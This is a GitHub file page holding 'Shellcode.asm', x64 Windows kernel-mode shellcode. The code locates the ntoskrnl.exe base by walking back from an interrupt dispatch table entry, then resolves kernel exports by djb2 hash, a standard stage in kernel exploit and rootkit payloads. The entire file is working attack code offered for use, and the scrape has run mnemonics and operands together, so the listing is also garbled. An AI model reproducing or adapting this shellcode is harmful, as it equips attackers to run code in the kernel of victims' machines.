- Notifications
You must be signed in to change notification settings - Fork 30
Expand file tree
/
Copy pathShellcode.asm
More file actions
Latest commit
71 lines (65 loc) · 2.79 KB
/
Copy pathShellcode.asm
File metadata and controls
71 lines (65 loc) · 2.79 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
FormatBinary
use64
start:
subrsp,0x20
pushrdi ; Preserve non volatile registers
pushrsi
pushrbp
pushrbx
movr9,rcx ; Move function hash into a volatile register
movrdx,[gs:0x38] ; IDT (interrupt dispatch table) from KPCR (kernel processor control region)
movecx,[rdx+8] ; _KIDTENTRY64.OffsetHigh (Using the first routine in the table)
shlrcx,0x10
addcx, WORD [rdx+6] ; _KIDTENTRY64.OffsetMiddle
shlrcx,0x10
addcx,[rdx] ; _KIDENTRY64.OffsetLow
movrdx,rcx
shrrdx,0xC
shlrdx,0xC ; Shifts remove the specifics of the address
@@:
subrdx,0x1000 ; 0x1000 = PAGE_SIZE
movrsi,[rdx]
cmpsi,0x5A4D ; Look for "MZ" string of the DOS header
jne @b
movrcx,rdx ; Base address of ntoskrnl.exe
movebx,[rdx+0x3C] ; Get the PE header, add instruction converts from RVA to a VA
addrcx,rbx
movebx,[rcx+0x88] ; Get the export directory, add instruction converts from RVA to a VA
addrbx,rdx
movedi,[rbx+0x20] ; In the export directory (IMAGE_EXPORT_DIRECTORY), get the AddressOfNames member
addrdi,rdx
xorebp,ebp
nextAPIName:
movesi,[rdi+rbp*4] ; Cycle through each pointer, add converts RVA to VA
addrsi,rdx
incebp
movecx, 5381d ; Convert string to hash (djb2 algorithm)
djb2:
xoreax,eax
lodsb
movr8d,eax
cmpr8d,0 ; End of string?
je @f
moveax,ecx
shleax,5
addeax,ecx
addeax,r8d
movecx,eax
jmp djb2
@@:
cmprcx,r9 ; Hash of string to find (first argument)
jne nextAPIName
movedi,[rbx+0x24] ; In the export directory get the AddressOfNameOrdinals member
addrdi,rdx
movbp,[rdi+rbp*2] ; This gets the name ordinal in the AddressOfNameOrdinals where our function is located (*2 for WORD values)
movedi,[rbx+0x1C] ; In the export directory get the AddressOfFunctions member
addrdi,rdx
movedi,[rdi+rbp*4-4] ; This gets the function (DWORD RVA) based on the name ordinal
addrdi,rdx ; Finally adding the base address, gets us the address of the function
movrax,rdi ; Actually address of function
poprbx
poprbp
poprsi
poprdi
addrsp,0x20
ret